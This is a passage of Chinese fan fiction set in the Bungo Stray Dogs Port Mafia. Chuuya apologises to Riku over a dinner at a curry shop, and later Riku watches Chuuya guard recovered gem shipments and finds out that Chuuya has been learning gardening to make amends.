“哇——”被甜食吸引目光,孩子们瞬间放下饭碗,眼神在甜品和璃久哥哥之间来回游移。
“璃久。”织田作轻轻叫了他一声,“你喜欢的。”
璃久看了看织田作,得到男人肯定的目光后,用湿巾擦了擦手,拿起一个大福放进自己碟子里。
“呼——”克己没忍住长舒一口气,就被幸介拍了下肩膀,“小点儿声——”
“嘿嘿。”克己抿嘴笑着,飞快的瞄了眼已经开始吃的璃久哥哥,转身拿起两个大福放进咲乐碟子里,得到了妹妹甜甜的笑容和幸介“还算不错”的眼神赞扬。
“啊,原来璃久君喜欢抹茶啊。”太宰边漫不经心搅动着碗里的杏仁豆腐边若有所思,“倒是很符合我清爽自杀的美学呢。”
“太宰。”安吾揉着眉心,语气中却听不出多少责备,只有一种习惯了的无奈,“都说了今晚是庆功宴,别用你那套黑泥日常来搅局了。”
“呜啊,安吾真是不懂我的良苦用心呢——”太宰长长的叹了口气
安吾面无表情地戳着碗里的杏仁豆腐:“你的‘良苦用心’通常等价于让他人胃痛和失眠。织田作,拜托管管他。”
“太宰,吃饭时讨论死亡,会影响食物的味道。以及,安吾的胃痛是事实,还记得你上周那份关于‘完美入水与潮汐计算’的报告确实让他加班到凌晨么。”
太宰立刻像泄了气的皮球一样瘫在椅背上:“是——是——织田作妈妈~我投降啦。果然在‘家’里就是要被管束的命呢。”
这时,幸介爬下椅子,绕到织田作身后
“织田作,我们吃饱了……可以去后院玩一会儿吗?”
其他孩子也立刻投来期盼的目光。
织田作看了看孩子们干干净净的碗碟,点了点头:“可以。”
“去吧去吧,天黑了,小心摔跤。”
老板也挥了挥手。
“好耶——”
孩子们如蒙大赦,压抑着欢呼,轻手轻脚地溜下椅子,跑向了店铺后方的庭院。
拉门被轻轻拉开又关上,屋外隐约传来孩子们欢乐的笑语声和雀跃的脚步声。
但没过多久,一阵带着惊诧的喊叫打破了夜晚的宁静:
“哇!是摩托车!”
“不是啦,那个叫机车!”
“好酷……咦?”
“那个人——是……!”
紧接着,是幸介陡然拔高,带着明显敌意和紧张的喊声:
“啊!!——是那个橘毛混蛋!!!”
以及克己和真嗣异口同声的应和
“把璃久哥哥弄去扫厕所的坏蛋!!”
咖喱店内的对话戛然而止。
璃久摩挲茶杯的手指骤然停住,指尖微微发白。
“噗——”太宰没忍住笑出了声,“呵呵呵呵呵呵呵呵——”
“橘毛……混蛋……?”
安吾下意识地重复,难以置信的看向织田作。
他平时到底对孩子们讲了些什么?
“织田作——你可真是——噗哈哈哈哈——橘毛混蛋——”
织田作不可置否,只是拍了拍快背过气的太宰,站起身:“我出去看看。”
但太宰瞬间收起笑容,抢先一步滑向了通往后院的门
“哎呀呀,真是意料之外的客人呢!必须热烈欢迎才行!”
安吾犹豫了一下,也起身跟上。
只剩下璃久僵坐在原地,没有动。
扫厕所……橘毛混蛋……中也?
此时,庭院内
一辆线条流畅,漆色嚣张的黑色重型机车,正斜支在上方的入口处
机车的主人,港口/黑/手/党(前)准干部,重力使中原中也,此刻正陷入了一场未曾遇到过的,棘手的“包围战”。
他被五个孩子堵在了庭院中央。
幸介张开双臂挡在最前面,小脸紧绷,眼神里满是戒备和“保护璃久哥哥”的决心,克己和优一左一右,紧张地抓着幸助的衣角。真嗣躲在后面,但手里紧紧攥着一把小铲子,咲乐则完全缩在幸助背后,只露出半张小脸,害怕又生气地瞪着中也。
中也穿着衬衫,外面随意套了一件机车夹克,深色长裤,靴子上还沾着些许灰尘。
“喂,小鬼们,让开。”
“不让!”
幸介嘶喊着反驳,“你是坏蛋!你把璃久哥哥从花园赶走了!还让他去扫厕所!织田作说过,做错事要道歉!”
“对!道歉!”
“坏蛋橘毛!”
“别想着过去!——”
孩子们七嘴八舌地附和,声音稚嫩,但同仇敌忾的气势分毫未减
中也只觉得头大
动武?他总不能对这些小豆丁用重力吧?
讲道理?说那是组织规章?说是璃久欺瞒实力?
现在他自己都因为“失察”被停职了,这些话根本站不住脚。
“我……那是……”
中也语塞,在幸介喊出“扫厕所”的时候,羞恼混合着愧疚涌上心头。
就在这时,救星,或者说,更大的麻烦,出现了。
“啊啦啊啦~我当是谁呢,原来是我们尊贵的,正在享受‘悠长假期’的前准干部大人,大驾光临我们这间小小的咖喱店呀?”
太宰幸灾乐祸的声音从小门传来。
中也猛地抬头
“太——宰——!!你怎么也在!!你在这里干什么?!”
真是,倒霉到家了
“我?我在享受美好的家庭聚餐时光呀~”
太宰踱步过来,笑眯眯地摸了摸幸助的头
“干得漂亮,幸介,一眼就认出了这个‘橘毛坏蛋’呢。”
得到哥哥表扬的幸介挺了挺胸,看向中也的眼神更戒备了。
“太宰,别添乱。”
织田作也跟出来,“幸介,带弟弟妹妹先进去,这里大人来处理。”
孩子们虽然不情愿,但织田作都发话了。
幸介又瞪了中也一眼,才带着其他孩子一步三回头地挪回了店里,咲乐还偷偷对中也做了个鬼脸。
孩子们离开后,后院瞬间安静下来。
中也的目光越过太宰和织田作,径直看向了那个依旧坐在桌边的身影
望月璃久。
他的喉咙有些干
来之前一路上打的腹稿,在经历了孩子们的“包围”和太宰的“欢迎”后,已经散乱不堪。
“织田作,”
但他还是硬着头皮开口
“我……有些话……想和那小子说。”
“哦?”
太宰立刻插嘴,“想和我们劳苦功高的‘清洁工先生’说什么?是终于想起来要为你当初那英明神武的‘人事调动’颁发一枚‘最佳清洁奖章’吗?还是想请教一下,如何才能像他一
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样,把那些藏在角落里的‘垃圾’看得那么清楚?”
“你闭嘴!青花鱼!”
中也强行压下怒气,再次看向门内,拔高了声音,“喂,小子!你!……”
他的话戛然而止。
因为璃久只是扭头朝后院瞥了一眼,随即又转了回去,端起茶杯,继续喝茶。
中也的话堵在喉咙里
这种对他视而不见的无视,比任何回应都更让人挫败和……难堪。
“噗——哈哈哈!!”
太宰爆发出一阵畅快的大笑,“中也,你看到了吗?人家根本懒得理你啊!你以为你是谁?现在可不是发号施令的准干部了哦~你那一套,在这里不管用啦!连孩子们都知道你是‘橘毛混蛋’呢!”
啊啊,这顿饭吃的太值了!
“混蛋太宰!你想死吗?!”
中也额角青筋直跳
他快被气炸了
被太宰的爆笑,织田作平静但令人火大(?)的注视,还有,还有——
“中也。”
织田作忽然开口,“你还没吃饭吧。”
不是疑问句,是陈述句
中也愣了一下,下意识地回答:“……啊?嗯。”
准确来说,他从上午的审计结束后,一直忙着应付事后调查,就没吃过东西。
“那就进来。”
织田作侧过身,让开了通往店内的路,“老板准备了多余的食物。”
“诶——?织田作!为什么要让这个肌肉笨蛋进来啊!”
太宰立刻抗议,“他可是害得我们小璃久不得不去打扫卫生的罪魁祸首哦!”
“太宰。” 织田作只是叫了一声,太宰就撇撇嘴,不说话了
中也站在原地,进也不是,退也不是。
进去?面对璃久的无视和太宰的嘲讽?退走?那他来这一趟算什么?
而且……食物的香气确实勾起了他压抑了一天的食欲。
最后,他只是狠狠瞪了一眼太宰,板着脸,迈步向店内走去。
桌边,璃久依旧坐在原地
安吾和老板也重新落座,太宰也像条泥鳅一样溜回了自己的座位。
织田作指了指璃久对面的位置:“坐。”
中也僵硬地坐下,正对着璃久低垂的侧脸。
老板拿来了干净的碗筷,盛了一大碗咖喱饭,又将剩下的寿司和烤鱼推到他面前。
“请用,中原先生。”
中也脱下夹克,挂在椅背上
他看着面前热气腾腾的食物,又看了看对面沉默的少年
那句在脑海里盘旋了无数遍的道歉,如今怎么也吐不出来。
“啊,果然,看别人吃饭比自己吃饭更有趣呢~尤其是当这顿饭充满了‘愧疚’,‘沉默’和‘无处安放的骄傲’这种顶级调味料的时候!”
“太宰治!你吃饭都堵不住嘴吗?!”
“我的嘴是用来品尝美味和说出真相的呀~”
太宰笑眯眯地回敬,“哪像某些蛞蝓,嘴巴除了用来下错误的命令和吃白食,就没别的用处了。”
“你……!”
“璃久,茶壶里还有麦茶吗?”
这句话是织田作说的。
璃久端起左边的茶壶,给自己续了一杯,然后——将茶壶向桌子中央,轻轻推过去了一点。
中也沉默地伸出手,给自己也倒了一杯麦茶。
他没有再试图开口,只是拿起筷子,开始埋头吃饭,时不时过一口麦茶
食物很美味,但那句话始终梗在喉咙口
他必须说出来,否则这一趟就真的成了青花鱼口中的“白食”和“笑话”。
终于,在喝下第三口麦茶后,中也深吸一口气,猛地抬头,直直看向对面。
“喂,”
他的声音有些干涩,“之前的事……”
话一出口,他就感到太宰的目光像探照灯一样打了过来。
中也感到脸颊微微发热,但他强迫自己继续说下去,
“……抱歉。”
两个字,说得又轻又急。
说完,他立刻低下头,舀起一大勺咖喱塞进嘴里,耳根却可疑地泛起了红晕。
璃久缓缓抬起眼,目光第一次真正地落在了中也身上。
他看了中也两秒钟,摇了摇头。
“我们扯平了。”
你害我离开花园,去扫厕所
我“回报”你黄了项目,停职调查
中也猛的抬头,嘴角还沾着一粒米。
他想说什么,却又发现无话可说。
璃久的逻辑简单直接,却让他无法反驳。
气氛一时有些凝滞。
就在这时,太宰像是完全没感觉到这微妙的张力,随口问道:
“说起来,璃久君,审计风波也过去了,桥本那帮人也清理了,你之后……还打算继续回清洁科‘体验生活’吗?”
璃久目光一顿,喉头滚动了一下,却最终沉默了。
他不想回去。
他想回48楼
他想和远藤先生一起,把苗圃种满,然后,一起看着种子们抽出茎叶,开出花朵……..
太宰将他的反应尽收眼底,但却立刻话锋一转,
“哎呀,中也,别光顾着吃了。说说你那边吧?‘蓝宝石之心’项目……现在算是彻底烂摊子了吧?下午首领不是叫你去办公室了吗?说说呗,他打算怎么处理你这个‘失职’的前负责人啊?该不会真的让你一直写检讨写到退休吧?”
中也烦躁地抓了抓头发,带着不甘和挫败说道
“……首领说,项目要重组,彻底清查所有环节。之前的……漏洞和损失,需要有人负责挽回。”
他顿了顿,声音低了下去,“……要我戴罪立功,将功补过。”
“将功补过?”
太宰重复了一遍,“怎么补?该不会让你这个重力使去亲自挖矿或者打磨宝石吧?”
“混蛋!怎么可能!就是把项目重新理顺!从头开始!建立新的,可靠的流程和监管!”
中也越说语气越冲,“宝石来源,加工,运输,销售……所有环节,全部要重新审查,对接,确保万无一失!……啧。”
他没再说下去。
任务之繁琐,让他光想想就感到窒息
尤其是他现在还是个“戴罪之身”,调动资源和人手肯定远不如从前顺畅。
还不如像太宰嘲讽的那样,有一个无事可做的“悠长假期”呢
太宰哦了一声,慢悠悠的开口
“听起来是个浩大工程呢,既要懂内部流程,又要能发现细节问题,还得有足够的耐心和……嗯,一点‘清洁工’式的,不放过任何角落的细致。”
他顿了顿,仿佛自言自语般补充,“这样的人可不好找。尤其是在现在这个时候,信得过又有能力的人……”
安吾坐直了身子,和织田作对视一眼。
太宰的暗示一反常态,几乎已经摆在了明面上
如果璃久能够以某种形式参与,甚至协助中也重整“蓝宝石之心”项目,并且表现出色,作为“将功补过”的一部分,或者作为对“功臣”的奖赏,向首领争取一些人事调整,并非没有可能。
这是一个机会
中也还没完全反应过来,只觉得这青花鱼又在拐着弯骂他没用,只哼了一声,埋头继续对付食物去了
而璃久——
他放在桌下的手指,微微收紧了些。
31.芳心纵火犯
——
三天后,6月14日
六月中的横滨,已然有了夏的味道
天空是洗过般的湛蓝,海风掠过港区后山,搅动起一片沙沙的声响
后山深处的角落内,三个人站在那里。
这里没有规整的墓碑,只有一些粗糙的石头或木牌,零星散落在荒草地上。
这是港口/黑/手/党内部,用于安葬那些“不便公开”,身份低微,无亲无故的成员的场所
三人面前,是一块简单的青灰色石头,正面粗糙地刻着一个“葵”字
午后两点的阳光斜斜穿过树隙,在石头和草地上投下斑驳的光点。
璃久站在最前方,健太郎站在他左边,穿着一身深色的便装,脸色依旧苍白,老鸟站在稍后一点的位置,双手插在口袋里。
没有香烛,没有祭品,只有璃久手中那束不起眼的白色野花,和健太郎小心翼翼放在石头前的一份印有港口/黑/手/党徽记和“内部公示”字样的文件纸。
那是昨天下午,由首领办公室签发,审计部与肃清委员会联署的《关于“蓝宝石之心”项目特大舞弊案相关人员最终处置的公示(摘要)》,上面列举了主要涉案人员的罪行与判决。
「以下人员作为主案要犯,判决:死刑(立即执行)」
桥本健一(财务科科长):策划并主导贪污体系,侵吞组织资产,数额特别巨大,证据确凿。
岛田隆(行动一组组长):利用职务便利,长期参与并掩护资产非法转移,情节严重。
秋山信仁(资产回收科负责人):勾结外部,伪造单据,为非法转运提供关键通道。
今井裕太(仓库管理主任):故意隐瞒,违规封存赃物,试图毁灭证据。
青木胜也(行动一组队员):多次在关键非法单据上签字确认,造成重大损失,虽部分行为属受命盲从,然事实后果严重,难辞其咎
佐藤刚(行动组二组队员):受桥本健一,岛田隆直接指使,于B2层10号审讯室,对财务科职员斋藤葵实施非法处决,手段残忍,意图掩盖贪污罪行,情节极其恶劣。
铃木健(行动组二组队员):作为现场协同者,直接参与对斋藤葵的非法拘禁与处决流程,并提供虚假行动报告。
「从犯,判决:永久流放(剥夺一切身份及权利)」
村濑达也(物资调配科职员):知情不报,协助异常流程运转。
中村信(前准干部中原中也秘书室文书):受桥本贿赂,泄露项目内部日程及文件流转信息。
高桥一郎(审讯室楼层值班员):在当值期间,违规关闭B2层相关区域监控,并为非法行动提供通道便利。
田中介(行动组三组队员:明知处决指令无正式文件,仍违规调配人员及处理后续现场,玩忽职守,协同掩盖。
佐藤浩二,上村信,铃木三和(仓库现场操作员,隶属物资调配科):在明知“蓝宝石之心”项目货柜存在异常流转指令的情况下,主动配合并实施欺诈性检查流程。具体行为包括:欺诈检查,隐匿赃物,并多次参与此类“应对检查”的欺诈操作。
「渎职及包庇人员,判决:剥夺一切职务待遇,降为终身受管制杂役」
黑田胜(前清洁科科长):长期滥用职权,违规处理,销毁关键票据证据,并在敏感事件后涉嫌利用职务掩盖痕迹,行为严重渎职。
「项目监管责任追究」
项目总负责人,准干部中原中也,对下属及合作部门严重失察,监管责任重大,即日起暂停一切职务及权限,配合后续调查,听候进一步处置。“蓝宝石之心”项目全面冻结,待资产追索,责任厘清后,另行决议。
「立功人员陈述」
财务科职员高木彻,森下爱莉,原田健一,在案件中秉持对组织的忠诚,克服恐惧提供关键内部证言及线索,经核实,其行为属维护组织利益之举。免除其此前因受胁迫或蒙蔽可能涉及的一切连带责任,予以正式表彰,奖励另行安排。
健太郎缓缓地蹲下身,颤抖地抚过石头上的“葵”字。
他的眼眶迅速泛红,但这次没有哭出声。
“葵前辈……都结束了。”
“桥本,岛田,秋山,今井……还有……”
他的声音哽了一下,还是说了出来,
“……青木哥,判决下来了。他们都……得到了应有的惩罚。”
他抬起头,看向璃久
“璃久君……之前……对不起弄脏了你的衣服……还有……谢谢你……真的……谢谢你。”
“如果没有你,没有鸟前辈……真相可能永远都会被埋在那间审讯室的水泥地下,葵前辈也会一直背着叛徒的污名……”
璃久沉默着,将那束白色野花,轻轻放在了那份公示文件旁边。
“我只是……做了该做的事。”
璃久的声音很轻,“斋藤君……她才是那个最早开始‘打扫’的人。”
老鸟重重地“嗯”了一声
“那丫头……是个愣头青,但也是个明白人。就是太明白,又不够……”
他顿了顿,没把“不够圆滑”或“不够强大”说出口,
“这世道,明白人有时候死得最快。但死了,也得让人知道她是为什么死的。现在,起码知道了。”
健太郎的泪水终于滑落。
他用手背胡乱擦了一下,站起身,转向璃久和老鸟,深深地鞠了一躬
“也谢谢您,鸟前辈。”
老鸟摆了摆手,面容苦涩
“谢什么,老子只是受不了再在那些假报告上盖章了。再盖下去,老子这双手,还有脸去摸那些真正的机器零件吗?”
他看向那份公示,啐了一口,“一帮蛀虫,死不足惜。就是可惜了……那个叫青木的小子,被忽悠了,跟着送了命,但在这地方,沾上了,就没那么容易脱身了。”
提到青木,健太郎的身体又颤抖了一下,但他咬着嘴唇,用力点了点头。
三人又沉默地站了一会儿
他们试图用寂静的沉默,向逝者致意,也向这段充满黑暗,挣扎与最终血腥清算的往事做最后的告别。
良久,健太郎率先动了
他看向璃久
“璃久君,那……之后你打算怎么办?还会留在清洁科吗?还是……”
璃久抬起头,目光投向远处林隙间闪烁的阳光,以及更远处港口方向隐约可见的建筑物轮廓。
怎么办?
他很想回去,很想
但是,谈何容易。
他不是通过正常渠道离开的,而是被“惩戒”下放的。
想要回去,需要理由,需要契机。
需要……或许正如太宰那番话隐约指向的——“价值”的再次证明,以及某种形式上的“赦免”或“交换”。
那晚之后,中也再未出现,也没有任何正式的讯息或邀请。太宰的暗示如同悬在半空的丝线,看得见,却不知该如何抓住,甚至不确定是否该去抓。
织田作和老板提供的,家的温暖固然珍贵
但离开咖喱店,他依然得思考未来的路
种种思绪,在他心中盘旋冲撞,却没有一个明确的出口。
半晌,就在健太郎以为他不会回答,或者会给出一个模糊的“再看吧”之类的答复时——
璃久抬起头,看着健太郎,摇了摇头
“我不知道。”
他的声音没有焦虑,没有沮丧,只有迷茫。
就像站在一片浓雾弥漫的十字路口,只看得见脚下的一小片土地,却看不清任何一条道路延伸向何方。
老鸟闻言,哼了一声
“急什么?天又没塌下来,小子,给你点建议,路啊,有时候是走着走着才看见的,不是坐在那儿想出来的。”
健太郎也用力点了点头:“璃久君,不管你之后决定做什么,如果需要帮忙……我,我一定尽力!”
“两点半了。”老鸟抬手看了看时间,“差不多该回去了,晚了又得被叨叨。”
“哦对!”健太郎慌忙转身,“璃久君,一起回去吗?”
“……不了。”璃久环视了一圈,“我想……再看看。”
“行嘞,那我和这小子先走了,你注意点。”
老鸟一把揽过健太郎的肩,用力拍了拍,“你小子,体格不行啊,在行动组也没练出什么来?”
“诶诶,鸟前辈,你手劲儿好大——”
“那当然,不大怎么搬得动那些大机器?改天儿我教你两招……”
目送两人说笑着沿着左边主道离开,璃久转过身,独自走入一条被杂草半掩的小径。
他的目光专注,扫过路旁的草丛,石缝,灌木的根茎处。
之前毁了的蒲公英和狗尾草的种子,还没弥补。
远藤先生的身体也恢复了不少,带些种子回去,能让他高兴的话,就好了。
他蹲在林木边缘的草甸上,指尖捻过蒲公英灰白的绒球,只取那些结构完整,尚未被风拆散的小心摘下
他拨开草丛,寻找酢浆草青黄色的小蒴果。指腹极轻地托住果柄,屏息一瞬,才完整摘下,因为若力道稍偏,里面细小的种子便会弹射无踪。
车前草直立的褐色穗果被一段段折断,发出细微的脆响,他避开还泛绿的,只取那些一碰就簌簌落籽的熟穗。
在种满狗尾草的树下,他的指尖轻柔地拂过草穗,一些成熟的种子自然而然地脱落,掉进掌心,最后被收入袋中。
一路上,他弓着腰,走得很慢,看的专注。
每拾起一颗,他都会在掌心端详片刻,然后才放入随身携带的棉布口袋。
很快,袋中就装满了大小不一的种子,几颗野果,还有几片形状好看的叶子
阳光逐渐稀疏,水流声逐渐清晰。
当他拨开最后一丛茂盛的蕨类植物时,眼前豁然开朗。
一条不算宽阔,但水流清澈湍急的溪流出现在眼前
上游不远处,一道瀑布从数米高的山岩缺口倾泻而下,砸入下方。
阳光照射在瀑布溅起的水雾上,折射出一道小小的彩虹。
璃久在潭边一块平坦的大石上坐下,静静地看着。
水,持续不断地落下,粉碎,又汇入深潭,奔流向前。
他看着那道小小的彩虹在水雾中明灭
远藤先生说过,种子只需要合适的土壤,水分,和一点时间,就能发芽生长,甚至开出花朵
那他自己呢?
他这片被强行从园艺科拔起,丢进清洁科的“土壤”,是否还具备生根发芽的条件?
瀑布的轰鸣没有给出答案,只是持续不断地流淌。
直到阳光开始西斜,将瀑布和水潭染上一层暖金色,璃久才收起思绪,起身,循着来路返回。
夕阳将建筑群拉出长长的阴影。
璃久没有走正门,而是习惯性地绕向后侧,靠近物资仓库和地下车道的入口
沉重的引擎轰鸣声由远及近传来。
几辆漆着港口/黑/手/党标志的黑色厢式货车,在一辆黑色机车的引领下,拐入专用车道,停在仓库门前。
机车熄火,一个娇健的身影跨下车。
是中原中也。
穿着行动组普通作战服的,中原中也
璃久侧身,隐匿在茂盛的草丛后,静静的看着
中也的右手手背上有一道新鲜的擦伤,左侧肩膀似乎有些微的不自然
拉伤
左侧斜方肌与三角肌连接处
刚才,中也从机车上跨下时,左肩下沉的幅度比右侧慢了半拍,落地后重心也下意识更多落在右腿。
这足以说明,他曾以左肩为轴心,做出过某种需要爆发性力量的剧烈动作,可能是重击,也可能是承受了超出预期的冲击。
一个惯用右手的格斗者,左肩出现这种拉伤,往往意味着战斗的激烈与对手的难缠。
“动作快!清点数量,核对编号,一件不许少!直接入库!”
中也的声音有些沙哑
“是,中也先生!”
三辆货车上跳下来八名行动队员,
他们训练有素地打开货车后厢
璃久侧眸看去
货厢内是被贴上封条的金属箱,样式与璃久在织田作和健太郎拍摄的照片上的几乎一致
是宝石
仓库前,队员们两人一组,开始搬运箱子。
箱子显然异常沉重,即使这些经过训练的行动队员,搬动时也显得颇为吃力。
“小心点!摔坏了把你们卖了都赔不起!”
一个似乎是小队头目的男人大声呵斥着,自己却站在稍远的地方,没有帮忙的意思。
中也看了一会儿,大步走到仓库门内。
他抓起一份清单,快速扫视,然后对着正在指挥的小头目说:“今井的仓库封存记录不全,有些箱子编号对不上,可能混杂了别的。你,过来,跟我一起重新核对源头编号和封条完整性。”
小头目脸上掠过一丝不情愿,磨蹭着走过来。
中也已经俯下身,开始逐一检查最早搬进来的几个箱子
他对比着封条,编号和清单记录,神情专注而严肃。
那个小头目则显得心不在焉,只是敷衍地看着。
就在这时,一名年轻队员在搬运箱子时,一个踉跄,沉重的箱子猛地向一侧倾斜,眼看就要脱手砸落
箱体如果这样磕在水泥地上,里面的宝石很可能受损,而他也可能被砸伤。
璃久眼神一凛,几乎要冲出去——
“蠢货!” 远处的小头目怒声骂道。
——但有人比他更快。
千钧一发之际,一道黑影倏地闪过。
是中也。
他几乎在队员踉跄的瞬间就动了
没有使用异能,纯粹依靠身体反应和力量,一只手稳稳托住了箱体倾斜最重的下角,另一只手迅速扶住了那名队员的手臂。
“呃……”
中也托住箱子的右手手背,伤口因骤然受力而崩开,鲜血瞬间浸透了临时包扎的纱布。
璃久深吸一口气,视线锁在那块纱布上。
中也眉头拧紧,闷哼了一声,却没有松手,直到其他人反应过来,七手八脚地将箱子完全接过去,平稳放下。
“对、对不起!谢谢您!中原先生!”
年轻队员脸都白了,连连鞠躬。
中也直起身,甩了甩刺痛流血的右手,看也没看那队员,只沉声道:“集中精神!不想死也不想赔得倾家荡产的话,就把吃奶的力气都用上!”
他的声音依旧严厉,甚至带着火气。
但他却在危机发生时第一个冲上去补救,并以受伤为代价,避免了更大的损失和人员受伤。
没有迟疑,没有伪装,没有权衡
只有刻在骨子里的条件反射。
璃久攥紧了手中的棉布口袋
回忆中,中也被酒意熏染的钴蓝色眼眸熠熠生辉。
“蠢货!搬东西都搬不好!”
小头目才小跑过来,对着年轻队员又是一顿斥责,然后对中也赔笑:“中原先生,您没事吧?这点小事我来处理就行,您还受了伤……”
中也冷冷地瞥了他一眼,
“你的处理方式就是站在那儿看着箱子砸烂?看着手下的人被砸伤?!”
他重新走向登记桌,左手拿起笔,在清单上快速标注着,同时对记录员交代核对要点。
其他队员搬运得更加小心翼翼
中也虽然不再亲自上手,但始终扫视着每一个环节,不时出言纠正细微的不规范操作。
小头目则显得有些尴尬和多余,只能跟在后面,大气不敢出。
璃久在草丛后站了将近半小时。
期间,中也始终站在仓库前,亲自把关最混乱的编号核对环节,时不时因为伤口而皱一下眉,却没有丝毫懈怠。
直到最后一批箱子入库,仓库大门缓缓关闭。
中也才松了口气,肩膀几不可察地塌陷了一瞬,但立刻又挺直了。
他接过记录员递来的最终签收单,仔细看了一遍,才签下名字
守卫核对文件,又看了看那几口箱子,忍不住多看了中也的手一眼
“中也先生,您这伤……”
“没事,一点擦碰而已。”
中也打断他,语气平淡<
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“你们可以解散了,今天的事,报告如实写。”
他对队员们说完,独自走向那辆停在角落的黑色机车。
“是!中也先生!辛苦了!”
队员们敬礼后,陆续沿着专用车道离开
“多亏了中原先生,那帮黑市接手的人火力真猛……”
“是啊,要不是他挡了那一下,阿树可能就……”
中也靠在机车上,等到所有人都消失在地下车库入口,才从内袋摸出一包烟,抽出一支点燃。
他仰头看着仓库区上方狭窄的天空,侧脸在烟雾和灯光下明明灭灭
独自一人时,那抹疲惫和一丝茫然,终于不加掩饰地浮现出来。
璃久没走,也没出声,只是静静看着
他看到了中也的狼狈,受伤,对比审计前被降格使用的处境。
但只有在这种处境下,某些刻在骨子里的东西,才会真正的发出光。
他看到了,中也对职责近乎笨拙的坚守,对“手下”下意识的保护,对组织财产的认真对待。
哪怕他此刻,只是一名普通的行动队员
桥本,岛田之流是贪婪的蛀虫,而中也……更像是一把锃亮锋利,却险些伤及己方的刀
在项目中,他虽然也犯下错误,但和他们却截然不同。
如果要重新指定项目负责人的话……
璃久沉思着,直到中也抽完最后一口烟,将烟蒂碾灭后戴上手套
引擎发出低吼,机车载着他孤独的身影,驶入更浓重的暮色阴影中。
璃久从阴影里走了出来
他抬头望了一眼大楼高耸的轮廓,然后迈开步,沿着车辙,走向总部大楼的后勤电梯
—
十分钟后,璃久推开了花园入口的小门
远藤正坐在砖房前的石头上
听到脚步声,他抬起头,露出温和的笑容:“来了?”
“嗯。”
璃久点点头,目光习惯性地先投向那四片苗床。
经过几日打理,原本荒芜的苗床已经大为改观,杂草尽除,土壤湿润
已经准备好迎接新种子的入住
他从口袋中掏出棉布袋,视线飘向天边的晚霞,声音很轻
“这是……我带回来的……一些……”
感受到袋子被托住,他立刻抽回手,用力揉着开始发热的耳廓。
耳边传来远藤惊喜的吸气声
“啊……枫香树的嫩叶,看这被虫啃过的缺口,是刚被风雨打下来的吧。这片是榉树叶子,边缘已经开始泛红了——是树自己在调整养分,主动舍弃的。最难得是这片鹅掌楸的叶子,像件小衣裳。它落下时,正好被你看见了,是不是?”
“种子也不少,这是今天才落下的蒲公英绒球,收得真完整。还有酢浆草的小蒴果,要赶在它弹射前摘下来可需要耐心……车前草的穗果,已经变褐了,种子正好成熟。还有繁缕的星状果壳,里面细小的种子都还在……最后这些……”
远藤凝视着手掌上褐色的狗尾草种子,眼角的笑纹舒展开
“成长了呢,璃久。”
“……没有……”
璃久的声音更小了,他错开一步,乱飘的视线落向砖房边
在那片长势喜人的苗圃边,原本空着的一小块土地上,竟也被开垦了出来
面积不大,约莫只有两平米见方,状态哪怕对比之前的四片荒芜,都能算得上“惨不忍睹”
土壤翻过了,但深浅不一,有的地方堆起小丘,有的地方又浅得露出下层硬土。垄沟更是歪歪扭扭,像条喝醉了的蛇爬过的痕迹,完全谈不上笔直。地里稀疏拉拉插着几根小木棍和绑着布条的竹签,毫无章法,东倒西歪
与周围已经被远藤打理的整齐苗床,乃至璃久自己精心照料的苗圃相比,这块地显得格外笨拙,生疏
璃久微微蹙起眉。这显然不是远藤先生的手笔,也不像其他可能被临时派来帮忙的生手,那种敷衍了事的潦草和这块地里某种奇异的“认真”痕迹截然不同。
远藤收起小布袋,顺着他的目光看去,脸上露出了然又有些好笑的神情。
“啊,你注意到那块地了?”
“那是……”璃久疑惑地看向远藤。
“是中原先生,他前天开始的。”
中也?
璃久微微一怔,脑海中瞬间闪过下午在仓库飞身救箱的身影。
“他来找您?”
“嗯,两天前的上午。”
远藤回忆着,眼神温和,“他直接找过来的,穿着便服,没戴帽子,看起来有点……风尘仆仆。开口就问,能不能教他一点最基本的园艺。”
“我问他为什么想学这个。他说……”
远藤模仿着中也那时有些生硬却直接的语气,“‘之前把这里弄荒了,是我的责任。至少得知道它是怎么重新变好的,才知道以后该怎么避免。’”
璃久沉默地听着,目光重新落回那块歪七扭八的苗圃。
原来那些深浅不一的翻土痕迹,那些歪斜的标记,是这么来的。
“我教了他怎么用锄头省力,怎么判断土壤的湿度和松紧,怎么开垄沟才能利水又保墒。”
远藤继续道,语气里带着一丝赞赏,“他学得很认真,但也是真的没基础。力气是有,可手上的巧劲和分寸感,不是一时半会儿能练出来的。你看那垄沟……我示范了三次,他埋头干了半小时,就成那样了。”
璃久几乎能想象出那个画面
骄傲的前准干部,笨拙地握着对他来说可能比武器更难以驾驭的锄头,在阳光下跟自己较劲,汗水滴进泥土,却只刨出一条歪斜的沟。
“后来呢?”
“昨天问我播种的深浅和间距,我给了他一些种子,让他种在那块地里。他蹲在那儿,一粒一粒按,眉头皱得能夹死蚊子,生怕按重了按轻了。喏,就是那边插着乱糟糟标记的地方,种子才种下去,还没发芽呢,他怕自己忘了位置,或者被鸟刨了,就弄了那些……嗯,‘防卫措施’。”
远藤看着那些在晚风中略显凄惨的小木棍和布条,忍不住又笑了笑:“今天上午问的是浇水,问怎么样算没浇透,怎么样算浇过了,下午……记得有任务,说晚上还会来一趟。”
璃久静静地听着,傍晚的风拂过他的发梢
下午在仓库看到的画面,与此刻眼前这块歪扭的苗圃,还有远藤先生口中那个主动来花园学习,提问,实践的中原中也,缓缓重叠在了一起。
那不会是作秀,也不会是讨好
那只是一个普通人,在用最质朴,最不擅长的方式,去理解自己曾犯下的错误,去尝试弥补,去学习一件他完全陌生的事情。
他本可以用金钱购买最繁茂的花木瞬间填满这里。
但他选择了最笨,最慢,最亲力亲为的一种。
就像他选择亲自去抢回,去核查,去登记那些金属箱的入库,而不是仅仅发号施令。
「这不是有没有用的问题! 那是执行规则的人瞎了!或者根本就是故意捣乱的败类!」
「守规则的人被动了,就是在所有按规则做事的人脸上甩耳光!这他妈能忍?找到是谁干的,然后碾碎他——这才是规则该有的样子!不然谁还信你画的这条线?!」
不论处在什么位置,他都在用自己的方式,固执地,一往无前的去守护他认定该守护的东西,去完成他认定该完成的责任。
过去是,现在是,
未来……
“这样啊。”
璃久最终只是轻声应了一句。
“是啊,他很努力。虽然看起来有点可笑,但这份心思,很难得。”
璃久最后看了眼那片小土地后,对远藤点了点头。
“远藤先生,我明天开始,可能晚上会来得晚一些,或者不一定每天都来。”
他的声音平静,却坚定有力。
远藤并不意外:“有别的打算了?”
“嗯。”璃久望向港口的方向
夜幕正在缓缓降临,大楼的灯火次第亮起
“有件……‘重建’工作,可能需要我去做。”
